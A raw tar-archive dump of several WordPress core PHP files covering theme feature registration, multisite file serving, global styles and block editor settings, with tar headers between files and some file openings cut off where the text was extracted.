array( 'scroll', 'fixed', ), ), 'default-color' => array( 'type' => 'string', ), ), ), ), ) ); register_theme_feature( 'custom-header', array( 'description' => __( 'Custom header if defined by the theme.' ), 'type' => 'object', 'show_in_rest' => array( 'schema' => array( 'properties' => array( 'default-image' => array( 'type' => 'string', 'format' => 'uri', ), 'random-default' => array( 'type' => 'boolean', ), 'width' => array( 'type' => 'integer', ), 'height' => array( 'type' => 'integer', ), 'flex-height' => array( 'type' => 'boolean', ), 'flex-width' => array( 'type' => 'boolean', ), 'default-text-color' => array( 'type' => 'string', ), 'header-text' => array( 'type' => 'boolean', ), 'uploads' => array( 'type' => 'boolean', ), 'video' => array( 'type' => 'boolean', ), ), ), ), ) ); register_theme_feature( 'custom-logo', array( 'type' => 'object', 'description' => __( 'Custom logo if defined by the theme.' ), 'show_in_rest' => array( 'schema' => array( 'properties' => array( 'width' => array( 'type' => 'integer', ), 'height' => array( 'type' => 'integer', ), 'flex-width' => array( 'type' => 'boolean', ), 'flex-height' => array( 'type' => 'boolean', ), 'header-text' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'unlink-homepage-logo' => array( 'type' => 'boolean', ), ), ), ), ) ); register_theme_feature( 'customize-selective-refresh-widgets', array( 'description' => __( 'Whether the theme enables Selective Refresh for Widgets being managed with the Customizer.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'dark-editor-style', array( 'description' => __( 'Whether theme opts in to the dark editor style UI.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'disable-custom-colors', array( 'description' => __( 'Whether the theme disables custom colors.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'disable-custom-font-sizes', array( 'description' => __( 'Whether the theme disables custom font sizes.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'disable-custom-gradients', array( 'description' => __( 'Whether the theme disables custom gradients.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'editor-color-palette', array( 'type' => 'array', 'description' => __( 'Custom color palette if defined by the theme.' ), 'show_in_rest' => array( 'schema' => array( 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'type' => 'string', ), 'slug' => array( 'type' => 'string', ), 'color' => array( 'type' => 'string', ), ), ), ), ), ) ); register_theme_feature( 'editor-font-sizes', array( 'type' => 'array', 'description' => __( 'Custom font sizes if defined by the theme.' ), 'show_in_rest' => array( 'schema' => array( 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'type' => 'string', ), 'size' => array( 'type' => 'number', ), 'slug' => array( 'type' => 'string', ), ), ), ), ), ) ); register_theme_feature( 'editor-gradient-presets', array( 'type' => 'array', 'description' => __( 'Custom gradient presets if defined by the theme.' ), 'show_in_rest' => array( 'schema' => array( 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'type' => 'string', ), 'gradient' => array( 'type' => 'string', ), 'slug' => array( 'type' => 'string', ), ), ), ), ), ) ); register_theme_feature( 'editor-styles', array( 'description' => __( 'Whether theme opts in to the editor styles CSS wrapper.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'html5', array( 'type' => 'array', 'description' => __( 'Allows use of HTML5 markup for search forms, comment forms, comment lists, gallery, and caption.' ), 'show_in_rest' => array( 'schema' => array( 'items' => array( 'type' => 'string', 'enum' => array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ), ), ), ), ) ); register_theme_feature( 'post-formats', array( 'type' => 'array', 'description' => __( 'Post formats supported.' ), 'show_in_rest' => array( 'name' => 'formats', 'schema' => array( 'items' => array( 'type' => 'string', 'enum' => get_post_format_slugs(), ), 'default' => array( 'standard' ), ), 'prepare_callback' => static function ( $formats ) { $formats = is_array( $formats ) ? array_values( $formats[0] ) : array(); $formats = array_merge( array( 'standard' ), $formats ); return $formats; }, ), ) ); register_theme_feature( 'post-thumbnails', array( 'type' => 'array', 'description' => __( 'The post types that support thumbnails or true if all post types are supported.' ), 'show_in_rest' => array( 'type' => array( 'boolean', 'array' ), 'schema' => array( 'items' => array( 'type' => 'string', ), ), ), ) ); register_theme_feature( 'responsive-embeds', array( 'description' => __( 'Whether the theme supports responsive embedded content.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'title-tag', array( 'description' => __( 'Whether the theme can manage the document title tag.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'wp-block-styles', array( 'description' => __( 'Whether theme opts in to default WordPress block styles for viewing.' ), 'show_in_rest' => true, ) ); } /** * Returns whether the active theme is a block-based theme or not. * * @since 5.9.0 * * @return boolean Whether the active theme is a block-based theme or not. */ function wp_is_block_theme() { return wp_get_theme()->is_block_theme(); } /** * Adds default theme supports for block themes when the 'setup_theme' action fires. * * See {@see 'setup_theme'}. * * @since 5.9.0 * @access private */ function _add_default_theme_supports() { if ( ! wp_is_block_theme() ) { return; } add_theme_support( 'post-thumbnails' ); add_theme_support( 'responsive-embeds' ); add_theme_support( 'editor-styles' ); /* * Makes block themes support HTML5 by default for the comment block and search form * (which use default template functions) and `[caption]` and `[gallery]` shortcodes. * Other blocks contain their own HTML5 markup. */ add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'search-form', 'gallery', 'caption', 'style', 'script' ) ); add_theme_support( 'automatic-feed-links' ); add_filter( 'should_load_separate_core_block_assets', '__return_true' ); } ms-files.php000064400000005136147177035010007006 0ustar00archived || '1' == $current_blog->spam || '1' == $current_blog->deleted ) { status_header( 404 ); die( '404 — File not found.' ); } $file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET['file'] ); if ( ! is_file( $file ) ) { status_header( 404 ); die( '404 — File not found.' ); } $mime = wp_check_filetype( $file ); if ( false === $mime['type'] && function_exists( 'mime_content_type' ) ) { $mime['type'] = mime_content_type( $file ); } if ( $mime['type'] ) { $mimetype = $mime['type']; } else { $mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 ); } header( 'Content-Type: ' . $mimetype ); // Always send this. if ( false === strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) ) { header( 'Content-Length: ' . filesize( $file ) ); } // Optional support for X-Sendfile and X-Accel-Redirect. if ( WPMU_ACCEL_REDIRECT ) { header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) ); exit; } elseif ( WPMU_SENDFILE ) { header( 'X-Sendfile: ' . $file ); exit; } $last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) ); $etag = '"' . md5( $last_modified ) . '"'; header( "Last-Modified: $last_modified GMT" ); header( 'ETag: ' . $etag ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' ); // Support for conditional GET - use stripslashes() to avoid formatting.php dependency. $client_etag = isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ? stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) : false; if ( ! isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) { $_SERVER['HTTP_IF_MODIFIED_SINCE'] = false; } $client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ); // If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; // Make a timestamp for our most recent modification... $modified_timestamp = strtotime( $last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $modified_timestamp ) && ( $client_etag == $etag ) ) : ( ( $client_modified_timestamp >= $modified_timestamp ) || ( $client_etag == $etag ) ) ) { status_header( 304 ); exit; } // If we made it this far, just serve the file. readfile( $file ); flush(); php-compat/readonly.php000064400000002263147177035010011152 0ustar00= 8.1 results in a fatal error. * * @package WordPress * @since 5.9.0 */ /** * Outputs the HTML readonly attribute. * * Compares the first two arguments and if identical marks as readonly. * * This function is deprecated, and cannot be used on PHP >= 8.1. * * @since 4.9.0 * @deprecated 5.9.0 Use wp_readonly() introduced in 5.9.0. * * @see wp_readonly() * * @param mixed $readonly One of the values to compare. * @param mixed $current Optional. The other value to compare if not just true. * Default true. * @param bool $echo Optional. Whether to echo or just return the string. * Default true. * @return string HTML attribute or empty string. */ function readonly( $readonly, $current = true, $echo = true ) { _deprecated_function( __FUNCTION__, '5.9.0', 'wp_readonly()' ); return wp_readonly( $readonly, $current, $echo ); } global-styles-and-settings.php000064400000014327147177035010012450 0ustar00get_settings(); return _wp_array_get( $settings, $path, $settings ); } /** * Function to get the styles resulting of merging core, theme, and user data. * * @since 5.9.0 * * @param array $path Path to the specific style to retrieve. Optional. * If empty, will return all styles. * @param array $context { * Metadata to know where to retrieve the $path from. Optional. * * @type string $block_name Which block to retrieve the styles from. * If empty, it'll return the styles for the global context. * @type string $origin Which origin to take data from. * Valid values are 'all' (core, theme, and user) or 'base' (core and theme). * If empty or unknown, 'all' is used. * } * * @return array The styles to retrieve. */ function wp_get_global_styles( $path = array(), $context = array() ) { if ( ! empty( $context['block_name'] ) ) { $path = array_merge( array( 'blocks', $context['block_name'] ), $path ); } $origin = 'custom'; if ( isset( $context['origin'] ) && 'base' === $context['origin'] ) { $origin = 'theme'; } $styles = WP_Theme_JSON_Resolver::get_merged_data( $origin )->get_raw_data()['styles']; return _wp_array_get( $styles, $path, $styles ); } /** * Returns the stylesheet resulting of merging core, theme, and user data. * * @since 5.9.0 * * @param array $types Types of styles to load. Optional. * It accepts 'variables', 'styles', 'presets' as values. * If empty, it'll load all for themes with theme.json support * and only [ 'variables', 'presets' ] for themes without theme.json support. * * @return string Stylesheet. */ function wp_get_global_stylesheet( $types = array() ) { // Return cached value if it can be used and exists. // It's cached by theme to make sure that theme switching clears the cache. $can_use_cached = ( ( empty( $types ) ) && ( ! defined( 'WP_DEBUG' ) || ! WP_DEBUG ) && ( ! defined( 'SCRIPT_DEBUG' ) || ! SCRIPT_DEBUG ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) && ! is_admin() ); $transient_name = 'global_styles_' . get_stylesheet(); if ( $can_use_cached ) { $cached = get_transient( $transient_name ); if ( $cached ) { return $cached; } } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $supports_theme_json = WP_Theme_JSON_Resolver::theme_has_support(); if ( empty( $types ) && ! $supports_theme_json ) { $types = array( 'variables', 'presets' ); } elseif ( empty( $types ) ) { $types = array( 'variables', 'styles', 'presets' ); } /* * If variables are part of the stylesheet, * we add them for all origins (default, theme, user). * This is so themes without a theme.json still work as before 5.9: * they can override the default presets. * See https://core.trac.wordpress.org/ticket/54782 */ $styles_variables = ''; if ( in_array( 'variables', $types, true ) ) { $styles_variables = $tree->get_stylesheet( array( 'variables' ) ); $types = array_diff( $types, array( 'variables' ) ); } /* * For the remaining types (presets, styles), we do consider origins: * * - themes without theme.json: only the classes for the presets defined by core * - themes with theme.json: the presets and styles classes, both from core and the theme */ $styles_rest = ''; if ( ! empty( $types ) ) { $origins = array( 'default', 'theme', 'custom' ); if ( ! $supports_theme_json ) { $origins = array( 'default' ); } $styles_rest = $tree->get_stylesheet( $types, $origins ); } $stylesheet = $styles_variables . $styles_rest; if ( $can_use_cached ) { // Cache for a minute. // This cache doesn't need to be any longer, we only want to avoid spikes on high-traffic sites. set_transient( $transient_name, $stylesheet, MINUTE_IN_SECONDS ); } return $stylesheet; } /** * Returns a string containing the SVGs to be referenced as filters (duotone). * * @since 5.9.1 * * @return string */ function wp_get_global_styles_svg_filters() { // Return cached value if it can be used and exists. // It's cached by theme to make sure that theme switching clears the cache. $can_use_cached = ( ( ! defined( 'WP_DEBUG' ) || ! WP_DEBUG ) && ( ! defined( 'SCRIPT_DEBUG' ) || ! SCRIPT_DEBUG ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) && ! is_admin() ); $transient_name = 'global_styles_svg_filters_' . get_stylesheet(); if ( $can_use_cached ) { $cached = get_transient( $transient_name ); if ( $cached ) { return $cached; } } $supports_theme_json = WP_Theme_JSON_Resolver::theme_has_support(); $origins = array( 'default', 'theme', 'custom' ); if ( ! $supports_theme_json ) { $origins = array( 'default' ); } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $svgs = $tree->get_svg_filters( $origins ); if ( $can_use_cached ) { // Cache for a minute, same as wp_get_global_stylesheet. set_transient( $transient_name, $svgs, MINUTE_IN_SECONDS ); } return $svgs; } theme-templates.php000064400000012613147177035010010363 0ustar00post_status ) { return; } if ( ! $post->post_name ) { wp_update_post( array( 'ID' => $post_id, 'post_name' => 'custom_slug_' . uniqid(), ) ); } $terms = get_the_terms( $post_id, 'wp_theme' ); if ( ! is_array( $terms ) || ! count( $terms ) ) { wp_set_post_terms( $post_id, wp_get_theme()->get_stylesheet(), 'wp_theme' ); } } /** * Generates a unique slug for templates. * * @access private * @since 5.8.0 * * @param string $override_slug The filtered value of the slug (starts as `null` from apply_filter). * @param string $slug The original/un-filtered slug (post_name). * @param int $post_ID Post ID. * @param string $post_status No uniqueness checks are made if the post is still draft or pending. * @param string $post_type Post type. * @return string The original, desired slug. */ function wp_filter_wp_template_unique_post_slug( $override_slug, $slug, $post_ID, $post_status, $post_type ) { if ( 'wp_template' !== $post_type && 'wp_template_part' !== $post_type ) { return $override_slug; } if ( ! $override_slug ) { $override_slug = $slug; } /* * Template slugs must be unique within the same theme. * TODO - Figure out how to update this to work for a multi-theme environment. * Unfortunately using `get_the_terms()` for the 'wp-theme' term does not work * in the case of new entities since is too early in the process to have been saved * to the entity. So for now we use the currently activated theme for creation. */ $theme = wp_get_theme()->get_stylesheet(); $terms = get_the_terms( $post_ID, 'wp_theme' ); if ( $terms && ! is_wp_error( $terms ) ) { $theme = $terms[0]->name; } $check_query_args = array( 'post_name__in' => array( $override_slug ), 'post_type' => $post_type, 'posts_per_page' => 1, 'no_found_rows' => true, 'post__not_in' => array( $post_ID ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), ); $check_query = new WP_Query( $check_query_args ); $posts = $check_query->posts; if ( count( $posts ) > 0 ) { $suffix = 2; do { $query_args = $check_query_args; $alt_post_name = _truncate_post_slug( $override_slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $query_args['post_name__in'] = array( $alt_post_name ); $query = new WP_Query( $query_args ); $suffix++; } while ( count( $query->posts ) > 0 ); $override_slug = $alt_post_name; } return $override_slug; } /** * Prints the skip-link script & styles. * * @access private * @since 5.8.0 * * @global string $_wp_current_template_content */ function the_block_template_skip_link() { global $_wp_current_template_content; // Early exit if not a block theme. if ( ! current_theme_supports( 'block-templates' ) ) { return; } // Early exit if not a block template. if ( ! $_wp_current_template_content ) { return; } ?> 'text', 'title' => _x( 'Text', 'block category' ), 'icon' => null, ), array( 'slug' => 'media', 'title' => _x( 'Media', 'block category' ), 'icon' => null, ), array( 'slug' => 'design', 'title' => _x( 'Design', 'block category' ), 'icon' => null, ), array( 'slug' => 'widgets', 'title' => _x( 'Widgets', 'block category' ), 'icon' => null, ), array( 'slug' => 'theme', 'title' => _x( 'Theme', 'block category' ), 'icon' => null, ), array( 'slug' => 'embed', 'title' => _x( 'Embeds', 'block category' ), 'icon' => null, ), array( 'slug' => 'reusable', 'title' => _x( 'Reusable Blocks', 'block category' ), 'icon' => null, ), ); } /** * Returns all the categories for block types that will be shown in the block editor. * * @since 5.0.0 * @since 5.8.0 It is possible to pass the block editor context as param. * * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or * the block editor context. * * @return array[] Array of categories for block types. */ function get_block_categories( $post_or_block_editor_context ) { $block_categories = get_default_block_categories(); $block_editor_context = $post_or_block_editor_context instanceof WP_Post ? new WP_Block_Editor_Context( array( 'post' => $post_or_block_editor_context, ) ) : $post_or_block_editor_context; /** * Filters the default array of categories for block types. * * @since 5.8.0 * * @param array[] $block_categories Array of categories for block types. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the default array of categories for block types. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead. * * @param array[] $block_categories Array of categories for block types. * @param WP_Post $post Post being loaded. */ $block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' ); } return $block_categories; } /** * Gets the list of allowed block types to use in the block editor. * * @since 5.8.0 * * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return bool|string[] Array of block type slugs, or boolean to enable/disable all. */ function get_allowed_block_types( $block_editor_context ) { $allowed_block_types = true; /** * Filters the allowed block types for all editor types. * * @since 5.8.0 * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported). * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the allowed block types for the editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead. * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported) * @param WP_Post $post The post resource data. */ $allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' ); } return $allowed_block_types; } /** * Returns the default block editor settings. * * @since 5.8.0 * * @return array The default block editor settings. */ function get_default_block_editor_settings() { // Media settings. $max_upload_size = wp_max_upload_size(); if ( ! $max_upload_size ) { $max_upload_size = 0; } /** This filter is documented in wp-admin/includes/media.php */ $image_size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); $available_image_sizes = array(); foreach ( $image_size_names as $image_size_slug => $image_size_name ) { $available_image_sizes[] = array( 'slug' => $image_size_slug, 'name' => $image_size_name, ); } $default_size = get_option( 'image_default_size', 'large' ); $image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large'; $image_dimensions = array(); $all_sizes = wp_get_registered_image_subsizes(); foreach ( $available_image_sizes as $size ) { $key = $size['slug']; if ( isset( $all_sizes[ $key ] ) ) { $image_dimensions[ $key ] = $all_sizes[ $key ]; } } // These styles are used if the "no theme styles" options is triggered or on // themes without their own editor styles. $default_editor_styles_file = ABSPATH . WPINC . '/css/dist/block-editor/default-editor-styles.css'; if ( file_exists( $default_editor_styles_file ) ) { $default_editor_styles = array( array( 'css' => file_get_contents( $default_editor_styles_file ) ), ); } else { $default_editor_styles = array(); } $editor_settings = array( 'alignWide' => get_theme_support( 'align-wide' ), 'allowedBlockTypes' => true, 'allowedMimeTypes' => get_allowed_mime_types(), 'defaultEditorStyles' => $default_editor_styles, 'blockCategories' => get_default_block_categories(), 'disableCustomColors' => get_theme_support( 'disable-custom-colors' ), 'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ), 'disableCustomGradients' => get_theme_support( 'disable-custom-gradients' ), 'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ), 'enableCustomSpacing' => get_theme_support( 'custom-spacing' ), 'enableCustomUnits' => get_theme_support( 'custom-units' ), 'isRTL' => is_rtl(), 'imageDefaultSize' => $image_default_size, 'imageDimensions' => $image_dimensions, 'imageEditing' => true, 'imageSizes' => $available_image_sizes, 'maxUploadFileSize' => $max_upload_size, // The following flag is required to enable the new Gallery block format on the mobile apps in 5.9. '__unstableGalleryWithImageBlocks' => true, ); // Theme settings. $color_palette = current( (array) get_theme_support( 'editor-color-palette' ) ); if ( false !== $color_palette ) { $editor_settings['colors'] = $color_palette; } $font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) ); if ( false !== $font_sizes ) { $editor_settings['fontSizes'] = $font_sizes; } $gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) ); if ( false !== $gradient_presets ) { $editor_settings['gradients'] = $gradient_presets; } return $editor_settings; } /** * Returns the block editor settings needed to use the Legacy Widget block which * is not registered by default. * * @since 5.8.0 * * @return array Settings to be used with get_block_editor_settings(). */ function get_legacy_widget_block_editor_settings() { $editor_settings = array(); /** * Filters the list of widget-type IDs that should **not** be offered by the * Legacy Widget block. * * Returning an empty array will make all widgets available. * * @since 5.8.0 * * @param string[] $widgets An array of excluded widget-type IDs. */ $editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters( 'widget_types_to_hide_from_legacy_widget_block', array( 'pages', 'calendar', 'archives', 'media_audio', 'media_image', 'media_gallery', 'media_video', 'search', 'text', 'categories', 'recent-posts', 'recent-comments', 'rss', 'tag_cloud', 'custom_html', 'block', ) ); return $editor_settings; } /** * Collect the block editor assets that need to be loaded into the editor's iframe. * * @since 6.0.0 * @access private * * @global string $pagenow The filename of the current screen. * * @return array { * The block editor assets. * * @type string|false $styles String containing the HTML for styles. * @type string|false $scripts String containing the HTML for scripts. * } */ function _wp_get_iframed_editor_assets() { global $pagenow; $script_handles = array(); $style_handles = array( 'wp-block-editor', 'wp-block-library', 'wp-edit-blocks', ); if ( current_theme_supports( 'wp-block-styles' ) ) { $style_handles[] = 'wp-block-library-theme'; } if ( 'widgets.php' === $pagenow || 'customize.php' === $pagenow ) { $style_handles[] = 'wp-widgets'; $style_handles[] = 'wp-edit-widgets'; } $block_registry = WP_Block_Type_Registry::get_instance(); foreach ( $block_registry->get_all_registered() as $block_type ) { if ( ! empty( $block_type->style ) ) { $style_handles[] = $block_type->style; } if ( ! empty( $block_type->editor_style ) ) { $style_handles[] = $block_type->editor_style; } if ( ! empty( $block_type->script ) ) { $script_handles[] = $block_type->script; } } $style_handles = array_unique( $style_handles ); $done = wp_styles()->done; ob_start(); // We do not need reset styles for the iframed editor. wp_styles()->done = array( 'wp-reset-editor-styles' ); wp_styles()->do_items( $style_handles ); wp_styles()->done = $done; $styles = ob_get_clean(); $script_handles = array_unique( $script_handles ); $done = wp_scripts()->done; ob_start(); wp_scripts()->done = array(); wp_scripts()->do_items( $script_handles ); wp_scripts()->done = $done; $scripts = ob_get_clean(); return array( 'styles' => $styles, 'scripts' => $scripts, ); } /** * Returns the contextualized block editor settings for a selected editor context. * * @since 5.8.0 * * @param array $custom_settings Custom settings to use with the given editor type. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return array The contextualized block editor settings. */ function get_block_editor_settings( array $custom_settings, $block_editor_context ) { $editor_settings = array_merge( get_default_block_editor_settings(), array( 'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ), 'blockCategories' => get_block_categories( $block_editor_context ), ), $custom_settings ); $global_styles = array(); $presets = array( array( 'css' => 'variables', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), array( 'css' => 'presets', '__unstableType' => 'presets', 'isGlobalStyles' => true, ), ); foreach ( $presets as $preset_style ) { $actual_css = wp_get_global_stylesheet( array( $preset_style['css'] ) ); if ( '' !== $actual_css ) { $preset_style['css'] = $actual_css; $global_styles[] = $preset_style; } } if ( WP_Theme_JSON_Resolver::theme_has_support() ) { $block_classes = array( 'css' => 'styles', '__unstableType' => 'theme', 'isGlobalStyles' => true, ); $actual_css = wp_get_global_stylesheet( array( $block_classes['css'] ) ); if ( '' !== $actual_css ) { $block_classes['css'] = $actual_css; $global_styles[] = $block_classes; } } $editor_settings['styles'] = array_merge( $global_styles, get_block_editor_theme_styles() ); $editor_settings['__experimentalFeatures'] = wp_get_global_settings(); // These settings may need to be updated based on data coming from theme.json sources. if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) { $colors_by_origin = $editor_settings['__experimentalFeatures']['color']['palette']; $editor_settings['colors'] = isset( $colors_by_origin['custom'] ) ? $colors_by_origin['custom'] : ( isset( $colors_by_origin['theme'] ) ? $colors_by_origin['theme'] : $colors_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) { $gradients_by_origin = $editor_settings['__experimentalFeatures']['color']['gradients']; $editor_settings['gradients'] = isset( $gradients_by_origin['custom'] ) ? $gradients_by_origin['custom'] : ( isset( $gradients_by_origin['theme'] ) ? $gradients_by_origin['theme'] : $gradients_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) { $font_sizes_by_origin = $editor_settings['__experimentalFeatures']['typography']['fontSizes']; $editor_settings['fontSizes'] = isset( $font_sizes_by_origin['custom'] ) ? $font_sizes_by_origin['custom'] : ( isset( $font_sizes_by_origin['theme'] ) ? $font_sizes_by_origin['theme'] : $font_sizes_by_origin['default'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) { $editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom']; unset( $editor_settings['__experimentalFeatures']['color']['custom'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) { $editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient']; unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) { $editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize']; unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ) ) { $editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['lineHeight']; unset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) { $editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units']; unset( $editor_settings['__experimentalFeatures']['spacing']['units'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ) ) { $editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['padding']; unset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ); } $editor_settings['__unstableResolvedAssets'] = _wp_get_iframed_editor_assets(); $editor_settings['localAutosaveInterval'] = 15; $editor_settings['__experimentalDiscussionSettings'] = array( 'commentOrder' => get_option( 'comment_order' ), 'commentsPerPage' => get_option( 'comments_per_page' ), 'defaultCommentsPage' => get_option( 'default_comments_page' ), 'pageComments' => get_option( 'page_comments' ), 'threadComments' => get_option( 'thread_comments' ), 'threadCommentsDepth' => get_option( 'thread_comments_depth' ), 'defaultCommentStatus' => get_option( 'default_comment_status' ), 'avatarURL' => get_avatar_url( '', array( 'size' => 96, 'force_default' => true, 'default' => get_option( 'avatar_default' ), ) ), ); /** * Filters the settings to pass to the block editor for all editor type. * * @since 5.8.0 * * @param array $editor_settings Default editor settings. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the settings to pass to the block editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead. * * @param array $editor_settings Default editor settings. * @param WP_Post $post Post being edited. */ $editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' ); } return $editor_settings; } /** * Preloads common data used with the block editor by specifying an array of * REST API paths that will be preloaded for a given block editor context. * * @since 5.8.0 * * @global WP_Post $post Global post object. * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * @global WP_Styles $wp_styles The WP_Styles object for printing styles. * * @param string[] $preload_paths List of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) { global $post, $wp_scripts, $wp_styles; /** * Filters the array of REST API paths that will be used to preloaded common data for the block editor. * * @since 5.8.0 * * @param string[] $preload_paths Array of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $selected_post = $block_editor_context->post; /** * Filters the array of paths that will be preloaded. * * Preload common data by specifying an array of REST API paths that will be preloaded. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead. * * @param string[] $preload_paths Array of paths to preload. * @param WP_Post $selected_post Post being edited. */ $preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' ); } if ( empty( $preload_paths ) ) { return; } /* * Ensure the global $post, $wp_scripts, and $wp_styles remain the same after * API data is preloaded. * Because API preloading can call the_content and other filters, plugins * can unexpectedly modify the global $post or enqueue assets which are not * intended for the block editor. */ $backup_global_post = ! empty( $post ) ? clone $post : $post; $backup_wp_scripts = ! empty( $wp_scripts ) ? clone $wp_scripts : $wp_scripts; $backup_wp_styles = ! empty( $wp_styles ) ? clone $wp_styles : $wp_styles; foreach ( $preload_paths as &$path ) { if ( is_string( $path ) && ! str_starts_with( $path, '/' ) ) { $path = '/' . $path; continue; } if ( is_array( $path ) && is_string( $path[0] ) && ! str_starts_with( $path[0], '/' ) ) { $path[0] = '/' . $path[0]; } } unset( $path ); $preload_data = array_reduce( $preload_paths, 'rest_preload_api_request', array() ); // Restore the global $post, $wp_scripts, and $wp_styles as they were before API preloading. $post = $backup_global_post; $wp_scripts = $backup_wp_scripts; $wp_styles = $backup_wp_styles; wp_add_inline_script( 'wp-api-fetch', sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data ) ), 'after' ); } /** * Creates an array of theme styles to load into the block editor. * * @since 5.8.0 * * @global array $editor_styles * * @return array An array of theme styles for the block editor. 